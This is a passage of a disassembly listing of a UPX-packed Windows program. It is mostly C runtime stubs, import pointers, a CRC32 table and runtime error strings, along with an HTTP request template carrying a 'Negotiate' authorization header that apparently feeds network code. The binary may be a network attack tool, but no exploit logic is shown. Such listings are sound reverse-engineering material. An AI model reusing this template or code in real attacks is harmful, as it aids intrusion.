; [00000052 BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND]
; [000001C5 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4225D8	proc near		; DATA XREF: UPX0:stru_423EB0o

; FUNCTION CHUNK AT 0040445D SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40445D
sub_4225D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4225E0	proc near		; DATA XREF: UPX0:stru_423EB0o
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4225F6
		mov	ecx, [ebp+8]
		jmp	loc_40445D
; ---------------------------------------------------------------------------

locret_4225F6:				; CODE XREF: sub_4225E0+8j
		retn
sub_4225E0	endp

; ---------------------------------------------------------------------------


loc_4225F7:				; DATA XREF: sub_404029o
		mov	eax, offset stru_423EB0
		jmp	___CxxFrameHandler
; ---------------------------------------------------------------------------
		align 4


loc_422604:				; DATA XREF: UPX0:stru_423EE0o
		lea	ecx, [ebp+14h]
		jmp	loc_40445D
; ---------------------------------------------------------------------------


loc_42260C:				; DATA XREF: UPX0:stru_423EE0o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40445D
; ---------------------------------------------------------------------------


loc_422614:				; DATA XREF: sub_4041CBo
		mov	eax, offset stru_423EE0
		jmp	___CxxFrameHandler
; ---------------------------------------------------------------------------
		align 10h


loc_422620:				; DATA XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint)o
		mov	eax, offset stru_423F10
		jmp	___CxxFrameHandler
; ---------------------------------------------------------------------------


loc_42262A:				; DATA XREF: UPX0:stru_423F68o
		mov	ecx, [ebp-14h]
		jmp	sub_4220B6
; ---------------------------------------------------------------------------


loc_422632:				; DATA XREF: sub_421CFEo
		mov	eax, offset stru_423F70
		jmp	___CxxFrameHandler
; ---------------------------------------------------------------------------


loc_42263C:				; DATA XREF: UPX0:stru_424000o
		lea	ecx, [ebp-20h]
		jmp	loc_40445D
; ---------------------------------------------------------------------------


loc_422644:				; DATA XREF: sub_421D73o
		mov	eax, offset stru_424008
		jmp	___CxxFrameHandler
; ---------------------------------------------------------------------------


loc_42264E:				; DATA XREF: UPX0:stru_424024o
		mov	ecx, [ebp-14h]
		jmp	sub_4220B6
; ---------------------------------------------------------------------------


loc_422656:				; DATA XREF: sub_421DD0o
		mov	eax, offset stru_42402C
		jmp	___CxxFrameHandler
; ---------------------------------------------------------------------------


loc_422660:				; DATA XREF: UPX0:stru_424048o
		mov	ecx, [ebp-10h]
		jmp	sub_4220B6
; ---------------------------------------------------------------------------


loc_422668:				; DATA XREF: sub_421E18o
		mov	eax, offset stru_424050
		jmp	___CxxFrameHandler
; ---------------------------------------------------------------------------


loc_422672:				; DATA XREF: UPX0:stru_4240A8o
		lea	ecx, [ebp-20h]
		jmp	loc_40445D
; ---------------------------------------------------------------------------


loc_42267A:				; DATA XREF: sub_421E9Ao
		mov	eax, offset stru_4240B0
		jmp	___CxxFrameHandler
; ---------------------------------------------------------------------------
		dd 25Fh	dup(0)
dword_423000	dd 0AA83C7h		; DATA XREF: sub_40AAF5+36r
dword_423004	dd 0AA8DC5h		; DATA XREF: sub_409204+10r
					; sub_40938D+40r ...
dword_423008	dd 77E6BD68h		; DATA XREF: ___crtsetenv+173r
dword_42300C	dd 77E77F2Eh		; DATA XREF: ___crtCompareStringA+3Er
					; ___crtCompareStringA+261r
dword_423010	dd 77E762D0h		; DATA XREF: ___crtCompareStringA+5Br
					; ___crtCompareStringA+B9r
dword_423014	dd 77E70192h		; DATA XREF: __chsize+F9r
dword_423018	dd 77E7176Ch		; DATA XREF: _ValidateExecute(int (*)(void))+8r
dword_42301C	dd 77E7339Ch		; DATA XREF: sub_41FE46+Cr
dword_423020	dd 77E7C9E7h		; DATA XREF: sub_41FE28+5r
					; sub_41FE39+6r
dword_423024	dd 77E73FF9h		; DATA XREF: __commit+2Cr
dword_423028	dd 77E7FF2Eh		; DATA XREF: __set_osfhnd:loc_41F305r
					; __free_osfhnd:loc_41F37Fr
dword_42302C	dd 77E7C866h		; DATA XREF: ___crtGetStringTypeA+3Fr
					; ___crtGetStringTypeA+12Dr ...
dword_423030	dd 77E641EBh		; DATA XREF: ___crtGetStringTypeA+59r
					; ___crtGetStringTypeA+8Dr ...
dword_423034	dd 0AA8225h		; DATA XREF: __ioinit+FFr
					; __ioinit+166r ...
dword_423038	dd 77E79C3Dh		; DATA XREF: __ioinit+158r
					; __NMSG_WRITE+143r
dword_42303C	dd 77E7C931h		; DATA XREF: __ioinit+19Dr
dword_423040	dd 0AA759Dh		; DATA XREF: ___crtGetEnvironmentStringsA+9r
dword_423044	dd 0AA754Bh		; DATA XREF: ___crtGetEnvironmentStringsA:loc_41EA2Fr
					; ___crtGetEnvironmentStringsA+E1r
dword_423048	dd 77E7C9E1h		; DATA XREF: ___crtGetEnvironmentStringsA+CEr
dword_42304C	dd 77E9C5B1h		; DATA XREF: ___crtGetEnvironmentStringsA+11Fr
dword_423050	dd 0AA76FDh		; DATA XREF: sub_401000+AAr
					; sub_401447+95r ...
dword_423054	dd 77E7751Ah		; DATA XREF: sub_401000+27r
					; sub_401447+1A6r ...
dword_423058	dd 77E802FCh		; DATA XREF: sub_4010B2+18Cr
					; sub_4010B2+2D4r ...
dword_42305C	dd 77E6D75Bh		; DATA XREF: sub_4010B2+182r
					; sub_401A6D+FFr
dword_423060	dd 77E61BE6h		; DATA XREF: sub_4018CA+9Ar
					; sub_40239E+5Dr ...
dword_423064	dd 77E704FCh		; DATA XREF: sub_4022BD+20r
					; sub_40B8D3+183r ...
dword_423068	dd 77E70F89h		; DATA XREF: sub_4022BD+Er
					; sub_40BF6F+Dr ...
dword_42306C	dd 77E77CCEh		; DATA XREF: sub_4029E0+66r
					; sub_402AC3+65r ...
dword_423070	dd 0AA7DB4h		; DATA XREF: sub_402DCE+135r
					; sub_404950+1A9r ...
dword_423074	dd 0AA8195h		; DATA XREF: sub_402DCE+120r
					; sub_402DCE+150r ...
dword_423078	dd 0AA7FF1h		; DATA XREF: sub_402DCE+103r
					; sub_404862+94r ...
dword_42307C	dd 77E73EACh		; DATA XREF: sub_402DCE+E9r
dword_423080	dd 0AA792Ah		; DATA XREF: sub_402DCE+68r
					; sub_404950+A7r ...
dword_423084	dd 77E79D5Bh		; DATA XREF: sub_404950+4BCr
					; sub_40E68B+68r ...
dword_423088	dd 77F5157Dh		; DATA XREF: sub_404950+4A3r
					; sub_4060CD+282r ...
dword_42308C	dd 77E737DEh		; DATA XREF: sub_404950+43Ar
dword_423090	dd 77E7A099h		; DATA XREF: sub_405A56+18r
					; sub_407243+58r ...
dword_423094	dd 77E64106h		; DATA XREF: sub_405F4B+9Fr
					; sub_40B8D3+1B6r
dword_423098	dd 77E64006h		; DATA XREF: sub_405F4B+8Br
					; sub_40B8D3+19Fr
dword_42309C	dd 0AA775Dh		; DATA XREF: sub_4060CD+24Dr
					; sub_407243+10Er ...
dword_4230A0	dd 0AA80D8h		; DATA XREF: sub_4060CD+1EEr
					; sub_4069FF+38r ...
dword_4230A4	dd 77E74CABh		; DATA XREF: sub_4060CD+110r
					; sub_40AC3D+10Fr ...
dword_4230A8	dd 77E78EAAh		; DATA XREF: sub_40637D+5E8r
					; sub_408EE0+C0r ...
dword_4230AC	dd 77E79424h		; DATA XREF: sub_40637D+27Br
					; sub_40938D+135r
dword_4230B0	dd 77E794BFh		; DATA XREF: sub_40637D+26Dr
					; sub_40938D+123r
dword_4230B4	dd 77E75E67h		; DATA XREF: sub_40637D+20Dr
					; sub_40637D+5D7r ...
dword_4230B8	dd 0AA8943h		; DATA XREF: sub_40637D+1FCr
					; sub_408EE0+26r
dword_4230BC	dd 0AA8021h		; DATA XREF: sub_4069FF+6Cr
					; sub_40C514+259r ...
dword_4230C0	dd 77F7E300h		; DATA XREF: sub_407758+13Fr
dword_4230C4	dd 77F7E21Fh		; DATA XREF: sub_407758+D4r
dword_4230C8	dd 77E7C706h		; DATA XREF: sub_40796C+77r
dword_4230CC	dd 77F53275h		; DATA XREF: sub_40796C+6Br
					; sub_40796C+22Fr
dword_4230D0	dd 0AA73E5h		; DATA XREF: sub_409032+170r
dword_4230D4	dd 0AA74CBh		; DATA XREF: sub_409032+BCr
dword_4230D8	dd 0AA6865h		; DATA XREF: sub_409032+60r
					; sub_40981A+11r ...
dword_4230DC	dd 0AA7295h		; DATA XREF: sub_409032+5Ar
					; sub_40981A+13Ar ...
dword_4230E0	dd 77F51597h		; DATA XREF: sub_409204+41r
					; sub_409204+F5r ...
dword_4230E4	dd 77F516F8h		; DATA XREF: sub_409204+21r
					; sub_40938D+4Ar ...
dword_4230E8	dd 77EB9A84h		; DATA XREF: __XcptFilter+138r
dword_4230EC	dd 77E7F01Ah		; DATA XREF: sub_40938D+88r
					; sub_409534+55r
dword_4230F0	dd 77E61A54h		; DATA XREF: sub_40938D+56r
					; sub_409534+97r
dword_4230F4	dd 77E7C3A5h		; DATA XREF: sub_40938D+34r
					; sub_409534+2Er
dword_4230F8	dd 77E706B7h		; DATA XREF: sub_40938D+15r
					; sub_409534+13r ...
dword_4230FC	dd 0AA8B1Bh		; DATA XREF: sub_40981A+2r
					; sub_40AC3D+FBr ...
dword_423100	dd 0AA8E53h		; DATA XREF: sub_40AA30+2Dr
dword_423104	dd 0AA8A8Bh		; DATA XREF: sub_40AABA+26r
dword_423108	dd 0AA8ABBh		; DATA XREF: sub_40AABA+1Dr
dword_42310C	dd 0AA8511h		; DATA XREF: sub_40AAF5+69r
dword_423110	dd 0AA76B2h		; DATA XREF: sub_415179+184r
					; sub_415408+1Fr ...
dword_423114	dd 0AA8245h		; DATA XREF: sub_40AAF5+25r
dword_423118	dd 77E7011Ah		; DATA XREF: sub_40AB77+96r
dword_42311C	dd 77E73CE2h		; DATA XREF: sub_40AB77+60r
dword_423120	dd 77E61BB8h		; DATA XREF: sub_40AC3D+17Er
					; sub_40B567+F0r ...
dword_423124	dd 77E668D9h		; DATA XREF: sub_40AC3D+15Dr
dword_423128	dd 77E70396h		; DATA XREF: sub_40AC3D+126r
					; sub_40E68B+1B2r ...
dword_42312C	dd 77E6AD34h		; DATA XREF: sub_40AC3D+35r
					; sub_40EE51+3E67r
dword_423130	dd 77E7FF65h		; DATA XREF: sub_40B412+5Ar
dword_423134	dd 77EB7624h		; DATA XREF: sub_40B412+3Dr
dword_423138	dd 0AA8125h		; DATA XREF: sub_40B567+91r
					; sub_4167FC+77r
dword_42313C	dd 77E79C90h		; DATA XREF: sub_40B567+79r
					; sub_41510E+Cr ...
dword_423140	dd 77E7727Ah		; DATA XREF: sub_40B567+3Br
					; sub_416703+23r
dword_423144	dd 77E7C657h		; DATA XREF: sub_40B785+1Dr
					; sub_40B8D3+24r ...
dword_423148	dd 77E76C1Ah		; DATA XREF: sub_40B8D3+1CFr
dword_42314C	dd 0AA75EFh		; DATA XREF: sub_40CAF1+478r
					; sub_40D39C+DFr ...
dword_423150	dd 77E79924h		; DATA XREF: sub_40DBAE+13r
					; ___crtLCMapStringA+20Dr ...
dword_423154	dd 77E65F4Ch		; DATA XREF: sub_40E5CD+34r
					; UPX0:00415A59r
dword_423158	dd 77E73628h		; DATA XREF: sub_40E68B+326r
					; sub_40EE51+4AB9r ...
dword_42315C	dd 77E80656h		; DATA XREF: sub_40E68B+255r
dword_423160	dd 77E6BD13h		; DATA XREF: sub_40E68B:loc_40E843r
dword_423164	dd 77E7C2C4h		; DATA XREF: sub_40E68B+61r
dword_423168	dd 0AA770Ah		; DATA XREF: sub_40EE51+4D2Fr
					; sub_4165B2+9Fr ...
dword_42316C	dd 77E71AFEh		; DATA XREF: sub_40EE51+3C66r
dword_423170	dd 0AA8DBFh		; DATA XREF: _WinMainCRTStartup+26r
dword_423174	dd 77E76968h		; DATA XREF: sub_4156FD+5Fr
dword_423178	dd 77E7513Ch		; DATA XREF: UPX0:00415AF0r
dword_42317C	dd 77E6C29Dh		; DATA XREF: sub_41629B+1EBr
dword_423180	dd 77E74C59h		; DATA XREF: sub_4165B2+C7r
dword_423184	dd 77EC7C51h		; DATA XREF: sub_416987+5Er
dword_423188	dd 77F6183Eh		; DATA XREF: sub_421F5Cr
dword_42318C	dd 77E76E3Dh		; DATA XREF: _time+6Cr	__tzset+38r
dword_423190	dd 77E61608h		; DATA XREF: _time+17r
dword_423194	dd 77F5722Fh		; DATA XREF: _realloc+F0r
					; ___sbh_alloc_new_region+28r
dword_423198	dd 77E6177Ah		; DATA XREF: _WinMainCRTStartup+9Fr
					; __ioinit+59r
dword_42319C	dd 0AA8DCBh		; DATA XREF: _WinMainCRTStartup+74r
dword_4231A0	dd 77E6D706h		; DATA XREF: __raise_exc+215r
					; _CxxThrowException(x,x)+2Er
dword_4231A4	dd 77E76E0Bh		; DATA XREF: __heap_init+2Fr
dword_4231A8	dd 77E7C726h		; DATA XREF: __heap_init+11r
dword_4231AC	dd 77E79E34h		; DATA XREF: ___sbh_free_block+23Fr
dword_4231B0	dd 77E7980Ah		; DATA XREF: ___sbh_alloc_new_region+76r
					; ___sbh_alloc_new_group+51r
dword_4231B4	dd 77E73196h		; DATA XREF: sub_41FE62+Cr
dword_4231B8	dd 77F522F2h		; DATA XREF: __msize+21r
dword_4231BC	dd 77E77405h		; DATA XREF: ___crtLCMapStringA+5Er
					; ___crtLCMapStringA+A7r ...
dword_4231C0	dd 77E781F9h		; DATA XREF: ___crtLCMapStringA+42r
					; ___crtLCMapStringA+14Dr ...
dword_4231C4	dd 77E7849Fh		; DATA XREF: __setmbcp+48r
					; _setSBUpLow+14r ...
dword_4231C8	dd 0AA8DD1h		; DATA XREF: _getSystemCP+2Fr
dword_4231CC	dd 77E6C703h		; DATA XREF: _getSystemCP+1Ar
		dd 0
dword_4231D4	dd 71B2ACCBh		; DATA XREF: sub_421F50r
		dd 0
dword_4231DC	dd 71AB12F8h		; DATA XREF: sub_404E55+27r
					; sub_404F9B+27r ...
dword_4231E0	dd 71AB1836h		; DATA XREF: sub_4059D9+6Er
					; sub_405A56+8Er
dword_4231E4	dd 71AB41DAh		; DATA XREF: sub_4053D6+47r
					; sub_4059D9+15r
dword_4231E8	dd 71AB3F8Dh		; DATA XREF: sub_4053D6+8Dr
dword_4231EC	dd 71AB3ECEh		; DATA XREF: sub_4053D6+C4r
dword_4231F0	dd 71AB5DE2h		; DATA XREF: sub_4053D6+D8r
dword_4231F4	dd 71AB868Dh		; DATA XREF: sub_4053D6+180r
dword_4231F8	dd 71AB8629h		; DATA XREF: UPX0:004053C2r
dword_4231FC	dd 71AB2BBFh		; DATA XREF: UPX0:0040528Fr
dword_423200	dd 71AB1746h		; DATA XREF: sub_404E55+36r
					; sub_404F9B+36r ...
dword_423204	dd 71AB5690h		; DATA XREF: sub_404E55+6Ar
					; sub_404F9B+6Ar ...
dword_423208	dd 71AB1AF4h		; DATA XREF: sub_403F8B+12r
					; sub_404E55+C3r ...
dword_42320C	dd 71AB1890h		; DATA XREF: sub_403DED+4Cr
					; sub_4053D6+115r
dword_423210	dd 71AB1B7Bh		; DATA XREF: sub_421F56r
dword_423214	dd 71AB3C22h		; DATA XREF: sub_4018CA+59r
					; UPX0:0040433Dr ...
dword_423218	dd 71AB155Ah		; DATA XREF: sub_4018CA+70r
					; sub_4053D6+9Dr
dword_42321C	dd 71AB3E5Dh		; DATA XREF: sub_4018CA+8Cr
					; sub_404E55+59r ...
dword_423220	dd 71AB1A6Dh		; DATA XREF: sub_4018CA+AAr
					; sub_404E55+E0r ...
		align 8
; char aGetHttp1_0Host[]
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041CB+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_423268	dq 1.388888888888889e-2	; DATA XREF: sub_403FDD+2Fr
dbl_423270	dq 1.666666666666667e-1	; DATA XREF: sub_403FDD+15r
dword_423278	dd 0FFFFFFFFh		; DATA XREF: sub_404029+16Fr
					; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)r ...
		align 10h
dbl_423280	dq 1.333333333333333	; DATA XREF: sub_404029+79r
dword_423288	dd 0			; DATA XREF: sub_4041CB+4Do
					; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const	&,uint,uint)+5Bo ...
flt_42328C	dd 5.0e-1		; DATA XREF: sub_404950+398r
dword_423290	dd 0			; DATA XREF: sub_40C220+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_423690	dq 9.765625e-4		; DATA XREF: sub_40CAF1+2BDr
					; sub_40CAF1+2D8r ...
dbl_423698	dq -3.0517578125e-5	; DATA XREF: sub_41543F+1Er
dbl_4236A0	dq 1.0			; DATA XREF: _floor+6Cr _ceil+6Cr ...
dword_4236A8	dd 0FFFFFFFFh, 419AABh,	419ABFh	; DATA XREF: _WinMainCRTStartup+5o
byte_4236B4	db 6			; DATA XREF: __output:loc_419C7Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: UPX0:off_43856Co
		unicode	0, <(null)>,0
		align 10h
aNull_2		db '(null)',0           ; DATA XREF: UPX0:off_438568o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: UPX0:off_438794o
		align 10h
dbl_4237E0	dq 0.0			; DATA XREF: __handle_exc+8Cr
					; __handle_exc+ACr ...
dbl_4237E8	dq 4.195835e6		; DATA XREF: __ms_p5_test_fdiv+Fr
dbl_4237F0	dq 3.145727e6		; DATA XREF: __ms_p5_test_fdiv+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: __ms_p5_mp_test_fdivo
		align 10h
; char aE000[]
aE000		db 'e+000',0            ; DATA XREF: __cftoe+93o
		align 4
dword_423828	dd 0FFFFFFFFh, 41C5DDh,	41C5E7h, 0 ; DATA XREF:	___FrameUnwindToState+5o
dword_423838	dd 0FFFFFFFFh, 0	; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+5o
		dd offset loc_41C763
		align 8
		dd offset sub_41C741
		dd offset sub_41C74B
		dd 0FFFFFFFFh, 41C993h,	41C997h, 0
					; DATA XREF: BuildCatchObject(EHExceptionRecord	*,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o
dword_423860	dd 0FFFFFFFFh, 41C9F5h,	41C9FEh, 0 ; DATA XREF:	unknown_libname_11+5o
dword_423870	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41CA7C+5o
		dd offset loc_41CACD
		align 10h
		mov	ecx, 0BD0041CAh
		retf	41h
; ---------------------------------------------------------------------------
dword_423888	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41CAD2+5o
		dd offset loc_41CB23
		align 8
		bswap	ebx
		inc	ecx
		add	[ebx], dl
		retf
; ---------------------------------------------------------------------------
		dw 41h
dword_4238A0	dd 2 dup(0)		; DATA XREF: ___crtLCMapStringA+36o
					; ___crtGetStringTypeA+39o ...
dword_4238A8	dd 0FFFFFFFFh, 41DD61h,	41DD65h, 0FFFFFFFFh, 41DE15h, 41DE19h
					; DATA XREF: ___crtLCMapStringA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: UPX0:off_438BDCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o
		align 10h
; char asc_423B70[]
asc_423B70	db 0Ah			; DATA XREF: __NMSG_WRITE+F1o
		db 0Ah,0
		align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
; char a___[]
a___		db '...',0              ; DATA XREF: __NMSG_WRITE+BFo
; char aProgramNameUnk[]
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do
		align 10h
dword_423BB0	dd 0FFFFFFFFh, 41F1D0h,	41F1D4h	; DATA XREF: ___crtGetStringTypeA+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
; char VarName[]
VarName		db 'TZ',0               ; DATA XREF: __tzset+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA+24o
; char a1Qnan[]
a1Qnan		db '1#QNAN',0           ; DATA XREF: _$I10_OUTPUT:loc_420FDAo
		align 4
; char a1Inf[]
a1Inf		db '1#INF',0            ; DATA XREF: _$I10_OUTPUT+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: _$I10_OUTPUT+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: _$I10_OUTPUT+ADo
		align 10h
dword_423C50	dd 0FFFFFFFFh, 4218DDh,	4218E1h, 0FFFFFFFFh, 42194Ch, 421950h
					; DATA XREF: ___crtCompareStringA+5o
		dd 423D8Ch
off_423C6C	dd offset loc_421CE2	; DATA XREF: sub_421CBA+8o
					; sub_421CFE+2Co ...
		dd offset sub_421CD5	; ?what@runtime_error@@UBEPBDXZ
					; doubtful name
		dd offset sub_421EF6
		dd offset dword_423DD8
off_423C7C	dd offset sub_421D4C	; DATA XREF: sub_421CFE+3Ao
					; sub_421D68o ...
